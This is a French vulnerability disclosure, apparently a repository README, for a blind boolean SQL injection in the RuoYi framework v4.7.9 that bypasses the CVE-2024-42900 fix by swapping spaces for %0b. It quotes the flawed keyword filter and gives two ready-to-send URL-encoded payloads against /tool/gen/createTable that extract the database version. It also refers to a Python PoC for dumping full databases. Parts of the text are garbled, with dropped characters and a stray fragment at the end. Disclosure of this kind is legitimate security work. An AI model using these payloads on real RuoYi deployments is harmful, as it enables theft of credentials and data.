
Injection SQL aveugle de type preuve de concept pour RuoYi v4.7.9, contournant le filtre CVE-2024-42900 pour extraire les bases de données via une injection booléenne authentifiée.
J'ai découvert une vulnérabilité d'injection SQL aveugle dans la fonctionnalité createTable du framework RuoYi v4.7.9. Cela permet à un administrateur authentifié d'exécuter des commandes SQL arbitraires via le paramètre sql. Il s'agit d'un contournement du correctif de CVE-2024-42900, car le filtre d'injection SQL de la méthode filterKeyword est insuffisant ; l'expression régulière peut être contournée en utilisant %0b comme caractère alternatif aux espaces.
Produit : RuoYi Framework
Version : ≤ 4.7.9
Lien : [Ruoyi]
La vulnérabilité a été trouvée dans le fichier comme suit. L'application s'appuie sur des mots-clés de liste noire pour filtrer les attaques par injection SQL ; cette approche est sujette aux contournements. Dans ce cas, pour corriger CVE-2024-42900, la chaîne a été ajoutée à la liste noire, mais l'application ne bloque toujours pas le caractère , je peux donc l'utiliser pour déclencher une injection SQL avec .
https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java/*%0bselect%0bpublic class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
L'expression régulière select correspond à select (suivi d'un espace). Elle ne correspond pas à select%0b, qui est un séparateur valide en SQL.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
Attention : il faut changer le nom de la table dans la requête CREATE après chaque requête réussie.
3. Grâce à l'injection SQL booléenne, les données peuvent être exfiltrées à l'aide du [poc] Python de ce dépôt
Utilisation

Exfiltrer la version de la base de données avec le PoC

Un attaquant disposant de privilèges administratifs peut extraire l'intégralité de la base de données, y compris les identifiants des autres utilisateurs et les configurations système.
%0b.select au lieu de select (supprimer l'espace final)